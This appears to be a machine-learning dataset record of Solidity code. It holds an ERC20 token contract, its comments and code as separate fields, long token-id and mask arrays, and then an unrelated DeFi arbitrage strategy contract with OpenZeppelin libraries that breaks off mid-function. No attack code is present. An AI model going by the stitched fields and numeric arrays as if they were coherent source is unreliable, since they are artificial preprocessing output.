contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract BETA is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function BETA() public {
symbol = "BETA";
name = "Crypto Smart Beta";
decimals = 18;
_totalSupply = 100000000000000000000000000000;
balances[0xF7f522563d76C20fD88BE26771c880bF57BF7902] = _totalSupply;
Transfer(address(0), 0xF7f522563d76C20fD88BE26771c880bF57BF7902, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | ---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------ | contract BETA is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function BETA() public {
symbol = "BETA";
name = "Crypto Smart Beta";
decimals = 18;
_totalSupply = 100000000000000000000000000000;
balances[0xF7f522563d76C20fD88BE26771c880bF57BF7902] = _totalSupply;
Transfer(address(0), 0xF7f522563d76C20fD88BE26771c880bF57BF7902, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1,985,152 | [
1,
5802,
7620,
4232,
39,
3462,
3155,
16,
598,
326,
2719,
434,
3273,
16,
508,
471,
15105,
471,
1551,
25444,
1147,
29375,
8879,
13849,
8879,
17082,
11417,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
605,
31370,
353,
4232,
39,
3462,
1358,
16,
14223,
11748,
16,
14060,
10477,
288,
203,
565,
533,
1071,
3273,
31,
203,
565,
533,
1071,
225,
508,
31,
203,
565,
2254,
28,
1071,
15105,
31,
203,
565,
2254,
1071,
389,
4963,
3088,
1283,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
13,
324,
26488,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
3719,
2935,
31,
203,
203,
203,
565,
445,
605,
31370,
1435,
1071,
288,
203,
3639,
3273,
273,
315,
38,
31370,
14432,
203,
3639,
508,
273,
315,
18048,
19656,
16393,
14432,
203,
3639,
15105,
273,
6549,
31,
203,
3639,
389,
4963,
3088,
1283,
273,
2130,
12648,
12648,
12648,
3784,
31,
203,
3639,
324,
26488,
63,
20,
16275,
27,
74,
9401,
2947,
4449,
72,
6669,
39,
3462,
74,
40,
5482,
5948,
5558,
4700,
21,
71,
28,
3672,
70,
42,
10321,
15259,
7235,
3103,
65,
273,
389,
4963,
3088,
1283,
31,
203,
3639,
12279,
12,
2867,
12,
20,
3631,
374,
16275,
27,
74,
9401,
2947,
4449,
72,
6669,
39,
3462,
74,
40,
5482,
5948,
5558,
4700,
21,
71,
28,
3672,
70,
42,
10321,
15259,
7235,
3103,
16,
389,
4963,
3088,
1283,
1769,
203,
565,
289,
203,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
5381,
1135,
261,
11890,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
225,
300,
324,
26488,
63,
2867,
12,
20,
13,
15533,
203,
565,
289,
203,
203,
203,
565,
445,
11013,
951,
12,
2867,
1147,
5541,
13,
1071,
5381,
1135,
261,
11890,
11013,
13,
2
] |
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _governance;
event GovernanceTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_governance = msgSender;
emit GovernanceTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function governance() public view returns (address) {
return _governance;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyGovernance() {
require(_governance == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferGovernance(address newOwner) internal virtual onlyGovernance {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit GovernanceTransferred(_governance, newOwner);
_governance = newOwner;
}
}
// File: contracts/strategies/StabilizeStrategyETHArb.sol
pragma solidity =0.6.6;
// This is a strategy that takes advantage of arb opportunities for eth and eth proxies
// Users deposit various ETH tokens into the strategy and the strategy will sell into the lowest priced token
// Selling will occur via Curve and buying ETH via Curve
// Half the profit earned from the sell and interest will be used to buy WETH and split it among the treasury, stakers and executor
// Half will remain as stables (in the form of aTokens)
// It will sell on withdrawals only when a non-contract calls it and certain requirements are met
// Anyone can be an executors and profit a percentage on a trade
// Gas cost is reimbursed, up to a percentage of the total WETH profit / stipend
interface StabilizeStakingPool {
function notifyRewardAmount(uint256) external;
}
interface CurvePool {
function get_dy(int128, int128, uint256) external view returns (uint256); // Get quantity estimate
function exchange(int128, int128, uint256, uint256) external payable; // Exchange tokens
}
interface AggregatorV3Interface {
function latestRoundData() external view returns (uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound);
}
interface WrappedEther {
function withdraw(uint256) external;
function deposit() external payable;
}
contract StabilizeStrategyETHArb is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
address public treasuryAddress; // Address of the treasury
address public stakingAddress; // Address to the STBZ staking pool
address public zsTokenAddress; // The address of the controlling zs-Token
uint256 constant DIVISION_FACTOR = 100000;
uint256 public lastTradeTime;
uint256 public lastActionBalance; // Balance before last deposit, withdraw or trade
uint256 public percentTradeTrigger = 500; // 0.5% change in value will trigger a trade
uint256 public percentSell = 50000; // 50% of the tokens are sold to the cheapest token
uint256 public percentDepositor = 50000; // 1000 = 1%, depositors earn 50% of all gains
uint256 public percentExecutor = 10000; // 10000 = 10% of WETH goes to executor
uint256 public percentStakers = 50000; // 50% of non-executor WETH goes to stakers, can be changed, rest goes to treasury
uint256 public maxPercentStipend = 30000; // The maximum amount of WETH profit that can be allocated to the executor for gas in percent
uint256 public gasStipend = 690000; // This is the gas units that are covered by executing a trade taken from the WETH profit
uint256 public minTradeSplit = 2e18; // If the balance of ETH is less than or equal to this, it trades the entire balance
uint256 constant minGain = 1e13; // Minimum amount of eth gain (0.00001) before buying WETH and splitting it
// Token information
// This strategy accepts multiple stablecoins
// WETH, AETH, STETH
struct TokenInfo {
IERC20 token; // Reference of token
uint256 decimals; // Decimals of token
int128 curveID; // ID on curve
}
TokenInfo[] private tokenList; // An array of tokens accepted as deposits
// Strategy specific variables
// These curve pools are unique because they hold eth directly
address constant CURVE_STETH_POOL = address(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022); // Curve pool for 2 tokens, eth and steth
address constant CURVE_ANKRETH_POOL = address(0xA96A65c051bF88B4095Ee1f2451C2A9d43F53Ae2); // Curve pool for 2 tokens, eth and aeth
address constant WETH_ADDRESS = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant GAS_ORACLE_ADDRESS = address(0x169E633A2D1E6c10dD91238Ba11c4A708dfEF37C); // Chainlink address for fast gas oracle
constructor(
address _treasury,
address _staking,
address _zsToken
) public {
treasuryAddress = _treasury;
stakingAddress = _staking;
zsTokenAddress = _zsToken;
setupWithdrawTokens();
}
// Initialization functions
function setupWithdrawTokens() internal {
// Start with WETH
IERC20 _token = IERC20(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
tokenList.push(
TokenInfo({
token: _token,
decimals: _token.decimals(),
curveID: 0
})
);
// AETH from Ankr
_token = IERC20(address(0xE95A203B1a91a908F9B9CE46459d101078c2c3cb));
tokenList.push(
TokenInfo({
token: _token,
decimals: _token.decimals(),
curveID: 1
})
);
// STETH from Lido
_token = IERC20(address(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84));
tokenList.push(
TokenInfo({
token: _token,
decimals: _token.decimals(),
curveID: 1
})
);
}
// Modifier
modifier onlyZSToken() {
require(zsTokenAddress == _msgSender(), "Call not sent from the zs-Token");
_;
}
// Read functions
function rewardTokensCount() external view returns (uint256) {
return tokenList.length;
}
function rewardTokenAddress(uint256 _pos) external view returns (address) {
require(_pos < tokenList.length,"No token at that position");
return address(tokenList[_pos].token);
}
function balance() public view returns (uint256) {
return getNormalizedTotalBalance(address(this));
}
function getNormalizedTotalBalance(address _address) public view returns (uint256) {
// Get the balance of the atokens+tokens at this address
uint256 _balance = 0;
uint256 _length = tokenList.length;
for(uint256 i = 0; i < _length; i++){
uint256 _bal = tokenList[i].token.balanceOf(_address);
_bal = _bal.mul(1e18).div(10**tokenList[i].decimals);
_balance = _balance.add(_bal); // This has been normalized to 1e18 decimals
}
return _balance;
}
function withdrawTokenReserves() public view returns (address, uint256) {
// This function will return the address and amount of the token with the highest balance
uint256 length = tokenList.length;
uint256 targetID = 0;
uint256 targetNormBalance = 0;
for(uint256 i = 0; i < length; i++){
uint256 _normBal = tokenList[i].token.balanceOf(address(this)).mul(1e18).div(10**tokenList[i].decimals);
if(_normBal > 0){
if(targetNormBalance == 0 || _normBal >= targetNormBalance){
targetNormBalance = _normBal;
targetID = i;
}
}
}
if(targetNormBalance > 0){
return (address(tokenList[targetID].token), tokenList[targetID].token.balanceOf(address(this)));
}else{
return (address(0), 0); // No balance
}
}
// Write functions
receive() external payable {
// We need an anonymous fallback function to accept ether into this contract
}
function enter() external onlyZSToken {
deposit(false);
}
function exit() external onlyZSToken {
// The ZS token vault is removing all tokens from this strategy
withdraw(_msgSender(),1,1, false);
}
function deposit(bool nonContract) public onlyZSToken {
// Only the ZS token can call the function
// No trading is performed on deposit
if(nonContract == true){}
lastActionBalance = balance(); // This action balance represents pool post stablecoin deposit
}
function withdraw(address _depositor, uint256 _share, uint256 _total, bool nonContract) public onlyZSToken returns (uint256) {
require(balance() > 0, "There are no tokens in this strategy");
if(nonContract == true){
if(_share > _total.mul(percentTradeTrigger).div(DIVISION_FACTOR)){
checkAndSwapTokens(address(0));
}
}
uint256 withdrawAmount = 0;
uint256 _balance = balance();
if(_share < _total){
uint256 _myBalance = _balance.mul(_share).div(_total);
withdrawPerBalance(_depositor, _myBalance, false); // This will withdraw based on token balance
withdrawAmount = _myBalance;
}else{
// We are all shares, transfer all
withdrawPerBalance(_depositor, _balance, true);
withdrawAmount = _balance;
}
lastActionBalance = balance();
return withdrawAmount;
}
// This will withdraw the tokens from the contract based on their balance, from highest balance to lowest
function withdrawPerBalance(address _receiver, uint256 _withdrawAmount, bool _takeAll) internal {
uint256 length = tokenList.length;
if(_takeAll == true){
// Send the entire balance
for(uint256 i = 0; i < length; i++){
uint256 _bal = tokenList[i].token.balanceOf(address(this));
if(_bal > 0){
tokenList[i].token.safeTransfer(_receiver, _bal);
}
}
return;
}
bool[4] memory done;
uint256 targetID = 0;
uint256 targetNormBalance = 0;
for(uint256 i = 0; i < length; i++){
targetNormBalance = 0; // Reset the target balance
// Find the highest balanced token to withdraw
